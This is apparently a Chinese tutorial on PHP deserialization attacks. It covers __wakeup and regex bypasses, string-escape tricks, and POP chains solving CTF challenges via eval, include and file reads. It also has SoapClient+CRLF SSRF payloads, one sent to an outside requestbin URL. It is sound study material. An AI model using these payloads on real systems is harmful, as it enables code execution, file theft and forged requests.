反序列化 什么是序列化和反序列化 序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。
在网上找到一个比较形象的例子
比如:现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市,这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
php 将数据序列化和反序列化会用到两个函数
1 2 serialize 将对象格式化成有序的字符串 unserialize 将字符串还原成原来的对象
序列化的目的是方便数据的传输和存储,在PHP中,序列化和反序列化一般用做缓存,比如session缓存
,cookie
等。
常见的序列化格式 了解即可
二进制格式
字节数组
json字符串
xml字符串
序列化后的格式: 布尔型
整数型
字符型 1 2 s:length:"value" ; s:4 :"aaaa" ;
NULL型
数组 1 2 a:<length>:{key, value pairs}; a:1 :{i:1 ;s:1 :"a" ;}
对象 1 2 O:<class_name_length>:"<class_name>" :<number_of_properties>:{<properties>}; O:6 :"person" :3 :{s:4 :"name" ;N;s:3 :"age" ;i:19 ;s:3 :"sex" ;N;}
案例引入 简单的例子(以数组为例子)
1 2 3 4 5 6 <?php $user =array ('xiao' ,'shi' ,'zi' );$user =serialize($user );echo ($user .PHP_EOL);print_r(unserialize($user )); ?>
他会输出
1 2 3 4 5 6 7 a:3 :{i:0 ;s:4 :"xiao" ;i:1 ;s:3 :"shi" ;i:2 ;s:2 :"zi" ;} Array ( [0 ] => xiao [1 ] => shi [2 ] => zi )
我们对上面这个例子做个简单讲解,方便大家入门
1 2 3 4 5 a:3 :{i:0 ;s:4 :"xiao" ;i:1 ;s:3 :"shi" ;i:2 ;s:2 :"zi" ;} a:array 代表是数组,后面的3 说明有三个属性 i:代表是整型数据int ,后面的0 是数组下标 s:代表是字符串,后面的4 是因为xiao长度为4 依次类推
序列化后的内容只有成员变量,没有成员函数,比如下面的例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class test { public $a ; public $b ; function __construct ( ) { $this ->a = "xiaoshizi" ;$this ->b="laoshizi" ; } function happy ( ) { return $this ->a; } } $a = new test();echo serialize($a );?>
输出(O代表Object是对象的意思,也是类)
1 O:4 :"test" :2 :{s:1 :"a" ;s:9 :"xiaoshizi" ;s:1 :"b" ;s:8 :"laoshizi" ;}
而如果变量前是protected,则会在变量名前加上\x00*\x00,private则会在变量名前加上\x00类名\x00,输出时一般需要url编码,若在本地存储更推荐采用base64编码的形式,如下:
1 2 3 4 5 6 7 8 9 10 11 <?php class test { protected $a ; private $b ; function __construct ( ) {$this ->a = "xiaoshizi" ;$this ->b="laoshizi" ;} function happy ( ) {return $this ->a;} } $a = new test();echo serialize($a );echo urlencode(serialize($a ));?>
输出则会导致不可见字符\x00的丢失
1 O:4 :"test" :2 :{s:4 :" * a" ;s:9 :"xiaoshizi" ;s:7 :" test b" ;s:8 :"laoshizi" ;}
PHP中的魔术变量 1 2 3 4 5 6 7 8 9 10 11 12 13 __sleep() __wakeup() __construct() __destruct() __toString(): __call() __callStatic() __get() __set() __isset() __unset() __toString() __invoke()
理解魔术方法 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class test { public $varr1 ="abc" ; public $varr2 ="123" ; public function echoP ( ) { echo $this ->varr1."<br>" ; } public function __construct ( ) { echo "__construct<br>" ; } public function __destruct ( ) { echo "__destruct<br>" ; } public function __toString ( ) { return "__toString<br>" ; } public function __sleep ( ) { echo "__sleep<br>" ; return array ('varr1' ,'varr2' ); } public function __wakeup ( ) { echo "__wakeup<br>" ; } } $obj = new test();$obj ->echoP();echo $obj ;$s = serialize($obj );echo $s ;echo unserialize($s );?>
反序列化绕过小Trick php7.1+反序列化对类属性不敏感 我们前面说了如果变量前是protected,序列化结果会在变量名前加上\x00*\x00
但在特定版本7.1以上则对于类属性不敏感,比如下面的例子即使没有\x00*\x00
也依然会输出abc
1 2 3 4 5 6 7 8 9 10 11 <?php class test { protected $a ; public function __construct ( ) { $this ->a = 'abc' ; } public function __destruct ( ) { echo $this ->a; } } unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}' );
绕过__wakeup(CVE-2016-7124) 1 2 3 版本: PHP5 < 5.6 .25 PHP7 < 7.0 .10
利用方式:序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class test { public $a ; public function __construct ( ) { $this ->a = 'abc' ; } public function __wakeup ( ) { $this ->a='666' ; } public function __destruct ( ) { echo $this ->a; } }
如果执行unserialize('O:4:"test":1:{s:1:"a";s:3:"abc";}');
输出结果为666
而把对象属性个数的值增大执行unserialize('O:4:"test":2:{s:1:"a";s:3:"abc";}');
输出结果为abc
绕过部分正则 preg_match(‘/^O:\d+/‘)匹配序列化字符串是否是对象字符串开头,这在曾经的CTF中也出过类似的考点
有两种方法:
1 2 3 利用加号绕过(注意在url里传参时 +要编码为%2 B) serialize(array ( a ) ) ;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php class test { public $a ; public function __construct ( ) { $this ->a = 'abc' ; } public function __destruct ( ) { echo $this ->a.PHP_EOL; } } function match1 ($data ) { if (preg_match('/^O:\d+/' ,$data )){ die ('you lose!' ); }else { return $data ; } } $a = 'O:4:"test":1:{s:1:"a";s:3:"abc";}' ;$b = str_replace('O:4' ,'O:+4' , $a );unserialize(match1($b )); unserialize('a:1:{i:0;O:4:"test":1:{s:1:"a";s:3:"abc";}}' ); ?>
利用引用 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php class test { public $a ; public $b ; public function __construct ( ) { $this ->a = 'abc' ; $this ->b= &$this ->a; } public function __destruct ( ) { if ($this ->a===$this ->b){ echo 666 ; } } } $a = serialize(new test());
上面这个例子将$b
设置为$a
的引用,可以使$a
永远与$b
相等
16进制绕过字符的过滤 1 O:4 :"test" :2 :{s:4 :"%00*%00a" ;s:3 :"abc" ;s:7 :"%00test%00b" ;s:3 :"def" ;}可以写成O:4 :"test" :2 :{S:4 :"\00*\00\61" ;s:3 :"abc" ;s:7 :"%00test%00b" ;s:3 :"def" ;}表示字符类型的s大写时,会被当成16 进制解析。
我这里写了一个例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class test { public $username ; public function __construct ( ) { $this ->username = 'admin' ; } public function __destruct ( ) { echo 666 ; } } function check ($data ) { if (stristr($data , 'username' )!==False ){ echo ("你绕不过!!" .PHP_EOL); } else { return $data ; } } $a = 'O:4:"test":1:{s:8:"username";s:5:"admin";}' ;$a = check($a );unserialize($a );$a = 'O:4:"test":1:{S:8:"\\75sername";s:5:"admin";}' ;$a = check($a );unserialize($a );
PHP反序列化字符逃逸 情况1:过滤后字符变多 首先给出本地的php代码,很简单不做过多的解释,就是把反序列化后的一个x替换成为两个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php function change ($str ) { return str_replace("x" ,"xx" ,$str ); } $name = $_GET ['name' ];$age = "I am 11" ;$arr = array ($name ,$age );echo "反序列化字符串:" ;var_dump(serialize($arr )); echo "<br/>" ;echo "过滤后:" ;$old = change(serialize($arr ));$new = unserialize($old );var_dump($new ); echo "<br/>此时,age=$new [1]" ;
正常情况,传入name=mao
如果此时多传入一个x的话会怎样,毫无疑问反序列化失败,由于溢出(s本来是4结果多了一个字符出来),我们可以利用这一点实现字符串逃逸
首先来看看结果,再来讲解
我们传入name=maoxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"woaini";}
";i:1;s:6:"woaini";}
这一部分一共二十个字符 由于一个x会被替换为两个,我们输入了一共20个x,现在是40个,多出来的20个x其实取代了我们的这二十个字符";i:1;s:6:"woaini";}
,从而造成";i:1;s:6:"woaini";}
的溢出,而”闭合了前串,使得我们的字符串成功逃逸,可以被反序列化,输出woaini 最后的;}闭合反序列化全过程导致原来的";i:1;s:7:"I am 11";}"
被舍弃,不影响反序列化过程。
其实就是如何在不直接修改$age值
的情况下间接修改$age的值
再举个例子我传入name=maoxxxxxxxxxxxxxxxxxxx";i:1;s:5:"jerry";}
此时";i:1;s:5:"jerry";}
长度为19,那我在就输入19个x,在经过过滤后,会再增加19个×的长度,多出来的19个x的长度会填充掉当前payload字符串的长度,而payload顺利逃出了php检测。
逃逸或者说被“顶”出来的payload就会被当做当前类的属性被执行。
情况2:过滤后字符变少 老规矩先上代码,很简单不做过多的解释,就是把反序列化后的两个x替换成为一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php function change ($str ) { return str_replace("xx" ,"x" ,$str ); } $arr ['name' ] = $_GET ['name' ];$arr ['age' ] = $_GET ['age' ];echo "反序列化字符串:" ;var_dump(serialize($arr )); echo "<br/>" ;echo "过滤后:" ;$old = change(serialize($arr ));var_dump($old ); echo "<br/>" ;$new = unserialize($old );var_dump($new ); echo "<br/>此时,age=" ;echo $new ['age' ];
正常情况传入name=mao&age=11的结果
老规矩看看最后构造的结果,再继续讲解
简单来说,就是前面少了一半,导致后面的字符被吃掉,从而执行了我们后面的代码; 我们来看,这部分是age序列化后的结果
1 s:3 :"age" ;s:28 :"11" ;s:3 :"age" ;s:6 :"woaini" ;}"
由于前面是40个x所以导致少了20个字符,所以需要后面来补上,";s:3:"age";s:28:"11
这一部分刚好20个,后面由于有”闭合了前面因此后面的参数就可以由我们自定义执行了 其实很好理解,就是把原有的age的序列化的值给吃掉,构造恶意的值传入。
再看个例子:
将hacker修改为hack。需要将$isVIP
改为1
完整代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } function filter ($s ) { return str_replace("admin" ,"hack" ,$s ); } $a = new user('admin' ,'123456' );$a_seri = serialize($a );$a_seri_filter = filter($a_seri );echo $a_seri_filter ;?>
得到结果:
1 O:4 :"user" :3 :{s:8 :"username" ;s:5 :"hack" ;s:8 :"password" ;s:6 :"123456" ;s:5 :"isVIP" ;i:0 ;}
同样比较一下现有子串 和目标子串 :
1 ";s:8:" password";s:6:" 123456 ";s:5:" isVIP";i:0;} //现有子串" ;s:8 :"password" ;s:6 :"123456" ;s:5 :"isVIP" ;i:1 ;}
因为过滤的时候,将5 个字符删减为了4 个,所以和上面字符变多的情况相反,随着加入的admin 的数量增多,现有子串 后面会缩进来。
计算一下目标子串 的长度:
1 ";s:8:" password";s:6:" 123456 ";s:5:" isVIP";i:1;} //目标子串//长度为47
再计算一下到下一个可控变量 的字符串长度:
因为每次过滤的时候都会少1 个字符,因此我们先将admin 字符重复22 遍(这里的22遍不像字符变多的逃逸情况精确,后面可能会需要做调整)
完整代码如下:(这里的变量里一共有22 个admin )
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } function filter ($s ) { return str_replace("admin" ,"hack" ,$s ); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin' ,'123456' );$a_seri = serialize($a );$a_seri_filter = filter($a_seri );echo $a_seri_filter ;?>
输出结果:
注意: PHP反序列化的机制是,比如如果前面是规定了有10个字符,但是只读到了9个就到了双引号,这个时候PHP会把双引号当做第10个字符,也就是说不根据双引号判断一个字符串是否已经结束,而是根据前面规定的数量来读取字符串。
1 O:4 :"user" :3 :{s:8 :"username" ;s:105 :"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack" ;s:8 :"password" ;s:6 :"123456" ;s:5 :"isVIP" ;i:0 ;}
这里我们需要仔细看一下s 后面是105 ,也就是说我们需要读取到105 个字符。从第一个引号开始,105个字符如下:
1 hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack";s:8:" password";s:6:
也就是说123456 这个地方成为了我们的可控变量,在123456 可控变量的位置中添加我们的目标子串
1 ";s:8:" password";s:6:" 123456 ";s:5:" isVIP";i:1;} //目标子串
完整代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } function filter ($s ) { return str_replace("admin" ,"hack" ,$s ); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin' ,'";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}' );$a_seri = serialize($a );$a_seri_filter = filter($a_seri );echo $a_seri_filter ;?>
输出:
1 O:4 :"user" :3 :{s:8 :"username" ;s:105 :"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack" ;s:8 :"password" ;s:47 :"" ;s:8 :"password" ;s:6 :"123456" ;s:5 :"isVIP" ;i:1 ;}";s:5:" isVIP";i:0;}
仔细观察这一串字符串可以看到紫色方框内一共107个字符,但是前面只有显示105
造成这种现象的原因是 :替换之前我们目标子串的位置是123456 ,一共6 个字符,替换之后我们的目标子串显然超过10 个字符,所以会造成计算得到的payload不准确
解决办法是 :多添加2 个admin ,这样就可以补上缺少的字符。
修改后代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } function filter ($s ) { return str_replace("admin" ,"hack" ,$s ); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin' ,'";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}' );$a_seri = serialize($a );$a_seri_filter = filter($a_seri );echo $a_seri_filter ;?>
输出结果为:
1 O:4 :"user" :3 :{s:8 :"username" ;s:115 :"hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack" ;s:8 :"password" ;s:47 :"" ;s:8 :"password" ;s:6 :"123456" ;s:5 :"isVIP" ;i:1 ;}";s:5:" isVIP";i:0;}
分析一下输出结果:
可以看到,这一下就对了。
我们将对象反序列化然后输出,代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class user { public $username ; public $password ; public $isVIP ; public function __construct ($u ,$p ) { $this ->username = $u ; $this ->password = $p ; $this ->isVIP = 0 ; } } function filter ($s ) { return str_replace("admin" ,"hack" ,$s ); } $a = new user('adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin' ,'";s:8:"password";s:6:"123456";s:5:"isVIP";i:1;}' );$a_seri = serialize($a );$a_seri_filter = filter($a_seri );$a_seri_filter_unseri = unserialize($a_seri_filter );var_dump($a_seri_filter_unseri ); ?>
得到结果:
1 2 3 4 5 6 7 8 object (user) ["username" ]=> string (115 ) "hackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhackhack" ;s:8 :"password" ;s:47 :"" ["password" ]=> string (6 ) "123456" ["isVIP" ]=> int (1 ) }
可以看到,这个时候isVIP 的值也为1 ,也就达到了我们反序列化字符逃逸的目的了
对象注入 当用户的请求在传给反序列化函数unserialize()之前没有被正确的过滤时就会产生漏洞。因为PHP允许对象序列化,攻击者就可以提交特定的序列化的字符串给一个具有该漏洞的unserialize函数,最终导致一个在该应用范围内的任意PHP对象注入。
对象漏洞出现得满足两个前提
1 1 、unserialize的参数可控。2 、 代码里有定义一个含有魔术方法的类,并且该方法里出现一些使用类成员变量作为参数的存在安全问题的函数。
比如这个例子:
1 2 3 4 5 6 7 8 9 <?php class A { var $test = "tom" ; function __destruct ( ) { echo $this ->test; } } $a = 'O:1:"A":1:{s:4:"test";s:6:"Keyond";}' ;unserialize($a );
在脚本运行结束后便会调用_destruct
函数,同时会覆盖test变量输出Keyond
POP链的构造利用 POP链简单介绍 前面所讲解的序列化攻击更多的是魔术方法中出现一些利用的漏洞,因为自动调用而触发漏洞,但如果关键代码不在魔术方法中,而是在一个类的普通方法中。这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来
例题一: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php highlight_file(__FILE__ ); class test { protected $ClassObj ; function __construct ( ) { $this ->ClassObj = new normal(); } function __destruct ( ) { $this ->ClassObj->action(); } } class normal { function action ( ) { echo "HelloWorld" ; } } class evil { private $data ; function action ( ) { eval ($this ->data); } } unserialize($_GET ['a' ]); ?>
比如说上面这个例子,危险函数应该是evil
类中的action
方法,里面有个eval
,但action
方法并不是魔术方法,一般情况下我们是很难调用它的,但我们看到test
类中的__destruct()
调用了action
方法,但在__construct()
中可以看出它创建了一个normal
类的对象,然后调用的是normal
类中的action
方法;这个就很好办,我们把魔术方法中的属性改一下,改成创建一个evil
类的对象,那它自然调用的就是evil
类中的action
方法了,有了思路下面就来构造:
1 2 3 4 5 6 7 8 9 10 11 12 <?php class test { protected $ClassObj ; } class evil { private $data ='phpinfo();' ; } $a = new evil();$b = new test();$b -> ClassObj = $a ;echo serialize(urlencode($a ));?>
本来构造出来应该是这样,创建一个evil
类的对象然后把它赋值给ClassObj
属性,但这里这样写不行,因为ClassObj
属性是protected
属性,不能在类外面访问它,所以说我们得在test
类里面写一个__construct()
来完成这个操作:
但在特定版本7.1以上则对于类属性不敏感
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class test { protected $ClassObj ; function __construct ( ) { $this ->ClassObj = new evil(); } } class evil { private $data = "phpinfo();" ; function action ( ) { eval ($this ->data); } } echo urlencode(serialize(new test()));?>
例题二: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 <?php highlight_file(__FILE__ ); class Hello { public $source ; public $str ; public function __construct ($name ) { $this ->str=$name ; } public function __destruct ( ) { $this ->source=$this ->str; echo $this ->source; } } class Show { public $source ; public $str ; public function __toString ( ) { $content = $this ->str['str' ]->source; return $content ; } } class Uwant { public $params ; public function __construct ( ) { $this ->params='phpinfo();' ; } public function __get ($key ) { return $this ->getshell($this ->params); } public function getshell ($value ) { eval ($this ->params); } } $a = $_GET ['a' ];unserialize($a ); ?>
思路分析:先找链子的头和尾,头部明显是GET传参,尾部是Uwant
类中的getshell
,然后往上倒推,Uwant
类中的__get()
中调用了getshell
,Show
类中的toString
调用了__get()
,然后Hello
类中的__destruct()
,而我们GET传参之后会先进入__destruct()
,这样子头和尾就连上了,所以说完整的链子就是:
1 头 -> Hello::__destruct() -> Show::__toString() -> Uwant::__get() -> Uwant::getshell -> 尾
至于魔术方法具体是怎么调用的这就不讲了,请看上一篇文章,这儿就简单提一下,在Hello
类中我们要把$this->str
赋值成对象,下面echo
出来才能调用Show
类中的__toString()
,然后再把Show
类中的$this->str['str']
赋值成对象,来调用Uwant
类中的__get()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php class Hello { public $source ; public $str ; } class Show { public $source ; public $str ; } class Uwant { public $params ='phpinfo();' ; } $a = new Hello();$b = new Show();$c = new Uwant();$a -> str = $b ;$b -> str['str' ] = $c ;echo urlencode(serialize($a ));?>
例题三——2020 mrctf ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 Welcome to index.php <?php class Modifier { protected $var ; public function append ($value ) { include ($value ); } public function __invoke ( ) { $this ->append($this ->var); } } class Show { public $source ; public $str ; public function __construct ($file ='index.php' ) { $this ->source = $file ; echo 'Welcome to ' .$this ->source."<br>" ; } public function __toString ( ) { return $this ->str->source; } public function __wakeup ( ) { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; } } } class Test { public $p ; public function __construct ( ) { $this ->p = array (); } public function __get ($key ) { $function = $this ->p; return $function (); } } if (isset ($_GET ['pop' ])){ @unserialize($_GET ['pop' ]); } else { $a =new Show; highlight_file(__FILE__ ); }
关于这个地方
1 2 3 4 if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i" , $this ->source)) { echo "hacker" ; $this ->source = "index.php" ; }
如果source
是一个字符串就去比较,如果是一个类,php会先去寻找这个类的__tostring
方法
思路分析:仍然是先找链子的头和尾,头部依然是一个GET传参,而尾部在Modifier
类中的append()
方法中,因为里面有个include
可以完成任意文件包含,那我们很容易就可以想到用伪协议来读文件,综合上面的提示,应该flag就是在flag.php中,我们把它读出来就好;找到尾部之后往前倒推,在Modifier
类中的__invoke()
调用了append()
,然后在Test
类中的__get()
返回的是$function()
,可以调用__invoke()
,再往前Show
类中的__toString()
可以调用__get()
,然后在Show
类中的__wakeup()
中有一个正则匹配,可以调用__toString()
,然后当我们传入字符串,反序列化之后最先进入的就是__wakeup()
,这样子头和尾就连上了,如下图(来自LTLT):
流程 1 2 3 4 5 Show.__wakeup.source $source = new Show $str = new Test $p = new Modiefier $str = php://xxxxx
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php class Modifier { private $var = "php://filter/read/basae64-endcode/resource=flag.php" ; } class Show { public $source ; public $str ; } class Test { public $p ; } $a = new Show;$b = new Show;$c = new Test;$d = new Modifier;$a -> source = $b ;$b -> str = $c ;$c -> p = $d ;echo urlencode(serialize($a ));?>
例题四 2021强网杯 赌徒 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 <meta charset="utf-8" > <?php error_reporting(1 ); class Start { public $name ='guest' ; public $flag ='syst3m("cat 127.0.0.1/etc/hint");' ; public function __construct ( ) { echo "I think you need /etc/hint . Before this you need to see the source code" ; } public function _sayhello ( ) { echo $this ->name; return 'ok' ; } public function __wakeup ( ) { echo "hi" ; $this ->_sayhello(); } public function __get ($cc ) { echo "give you flag : " .$this ->flag; return ; } } class Info { private $phonenumber =123123 ; public $promise ='I do' ; public function __construct ( ) { $this ->promise='I will not !!!!' ; return $this ->promise; } public function __toString ( ) { return $this ->file['filename' ]->ffiillee['ffiilleennaammee' ]; } } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; public function __get ($name ) { $function = $this ->a; return $function (); } public function Get_hint ($file ) { $hint =base64_encode(file_get_contents($file )); echo $hint ; return ; } public function __invoke ( ) { $content = $this ->Get_hint($this ->filename); echo $content ; } } if (isset ($_GET ['hello' ])){ unserialize($_GET ['hello' ]); }else { $hi = new Start(); } ?>
分析:首先依然是找到头和尾,头部依然是一个GET传参,而尾部可以看到Room
类中有个Get_hint()
方法,里面有一个file_get_contents
,可以实现任意文件读取,我们就可以利用这个读取flag文件了,然后就是往前倒推,Room
类中__invoke()
方法调用了Get_hint()
,然后Room
类的__get()
里面有个return $function()
可以调用__invoke()
,再往前看,Info
类中的__toString()
中有Room
类中不存在的属性,所以可以调用__get()
,然后Start
类中有个_sayhello()
可以调用__toString()
,然后在Start
类中__wakeup()
方法中直接调用了_sayhello()
,而我们知道的是,输入字符串之后就会先进入__wakeup()
,这样头和尾就连上了
有了思路我们就直接开始构造,一般找思路我们是从尾到头,而构造则是直接从头到尾
1 头 -> Start::__wakeup() -> Start::_sayhello() -> Info::__toString() -> Room::__get() -> Room::invoke() -> Room::Get_hint()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php class Start { public $name ='guest' ; public $flag ='syst3m("cat 127.0.0.1/etc/hint");' ; } class Info { private $phonenumber =123123 ; public $promise ='I do' ; } class Room { public $filename ='/flag' ; public $sth_to_set ; public $a ='' ; } $a = new Start;$b = new Info;$c = new Room;$d = new Room;$a -> name = $b ;$b -> file['filename' ] = $c ;$c -> a = $d ;echo urlencode(serialize($a ));?>
PHP原生类反序列化利用 X-Forwarded-For与CF-Connecting-IP的配合 关于什么是XFF相必也不需要多说,这里补充一个新Trick 维护代理服务器和原始访问者 IP 地址。如果发送到 Cloudflare 的请求中不含现有的 X-Forwarded-For 标头,X-Forwarded-For 将具有与 CF-Connecting-IP 标头相同的值:
1 示例:X-Forwarded-For:203.0.113.1
如果发送到 Cloudflare 的请求中已存在 X-Forwarded-For 标头,则 Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头:
1 示例:X-Forwarded-For:203.0.113.1,198.51.100.101,198.51.100.102
比如下面是这部分的关键代码,简简单单的代码审计
1 2 3 4 5 6 7 8 9 10 11 $xff = explode(',' , $_SERVER ['HTTP_X_FORWARDED_FOR' ]);array_pop($xff ); $ip = array_pop($xff );if ($ip !=='127.0.0.1' ){ die ('error' ); }else { $token = $_POST ['token' ]; if ($token =='ctfshow' ){ file_put_contents('flag.txt' ,$flag ); } }
在本题的环境当中,由于使用了Cloudflare 代理导致,Cloudflare 会将 HTTP 代理的 IP 地址附加到这个标头,本题就是后者的情况,在两次调用array_pop后我们取得的始终是固定的服务器IP,如下图所示,此时无论我们如何对XFF头进行修改都无济于事
因此需要实现SoapClient与CRLF的组合拳来为我们实现SSRF
###SoapClient介绍
综述:
1 php在安装php-soap拓展后,可以反序列化原生类SoapClient,来发送http post请求。必须调用SoapClient不存在的方法,触发SoapClient的__call魔术方法。通过CRLF来添加请求体:SoapClient可以指定请求的user-agent头,通过添加换行符的形式来加入其他请求内容
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP 是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息),其次我们知道某个实例化的类,如果去调用了一个不存在的函数,会去调用__call方法.
该类的构造函数如下:
1 public SoapClient :: SoapClient (mixed $wsdl [,array $options ])
利用方式 SoapCLient+CRLF 下面首先在我的VPS上面开启监听nc -lvvp 9328
1 2 3 4 5 <?php $a = new SoapClient(null ,array ('uri' =>'bbb' , 'location' =>'http://xxxx.xxx.xx:9328' ));$b = serialize($a );$c = unserialize($b );$c -> not_a_function();
从上面这张图可以看到,SOAPAction
处是我们的可控参数,因此我们可以尝试注入我们自己恶意构造的CRLF 即插入\r\n ,利用成功!
1 2 3 4 5 6 7 <?php $a = new SoapClient(null ,array ('uri' =>"bbb\r\n\r\nccc\r\n" , 'location' =>'http://127.0.0.1:5555/path' ));$b = serialize($a );echo $b ;$c = unserialize($b );$c ->not_exists_function();?>
另外一方面Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据,但是我们发现在header里User-Agent在Content-Type前面,所以可以配合它进行利用.
wupco
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php $target = 'http://127.0.0.1:5555/path' ;$post_string = 'data=something' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1' , 'Cookie: PHPSESSID=my_session' ); $b = new SoapClient(null ,array ('location' => $target ,'user_agent' =>'wupco^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers ).'^^Content-Length: ' .(string )strlen($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize($b );$aaa = str_replace('^^' ,"\r\n" ,$aaa );$aaa = str_replace('&' ,'&' ,$aaa );echo $aaa ;$c = unserialize($aaa );$c ->not_exists_function();?>
还有
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php $target = 'http://requestbin.net/r/xzlkkpxz' ;$post_string = 'token=y4tacker' ;$headers = array ( 'X-Forwarded-For: 127.0.0.1' , ); $b = new SoapClient(null ,array ('location' => $target ,'user_agent' =>'y4tacker^^Content-Type: application/x-www-form-urlencoded^^' .join('^^' ,$headers ).'^^Content-Length: ' .strlen($post_string ).'^^^^' .$post_string ,'uri' => "aaab" ));$aaa = serialize($b );$aaa = str_replace('^^' ,"\r\n" ,$aaa );$aaa = str_replace('&' ,'&' ,$aaa );echo urlencode($aaa );?>
因为Content-length的缘故,post只取到aaa=1111,成功把下面的那些东西给吃掉了,实现了自己构造POST的请求包。
如上,使用SoapClient反序列化+CRLF可以生成任意POST请求 。
Deserialization + __call + SoapClient + CRLF = SSRF
Phar反序列化 我们一般利用反序列漏洞,一般都是借助unserialize()函数,不过随着人们安全的意识的提高这种漏洞利用越来越来难了,但是在今年8月份的Blackhat2018大会上,来自Secarma的安全研究员Sam Thomas讲述了一种攻击PHP应用的新方式,利用这种方法可以在不使用unserialize()函数的情况下触发PHP反序列化漏洞。漏洞触发是利用Phar:// 伪协议读取phar文件时,会反序列化meta-data储存的信息。
PHAR (“Php ARchive”) 是PHP里类似于JAR的一种打包文件,在PHP 5.3 或更高版本中默认开启,这个特性使得 PHP也可以像 Java 一样方便地实现应用程序打包和组件化。一个应用程序可以打成一个 Phar 包,直接放到 PHP-FPM 中运行。
1 phar文件本质上是一种压缩文件,会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时,会自动反序列化meta-data内的内容。
什么是Phar文件? 在软件中,PHAR(PHP归档)文件是一种打包格式,通过将许多PHP代码文件和其他资源(例如图像,样式表等)捆绑到一个归档文件中来实现应用程序和库的分发
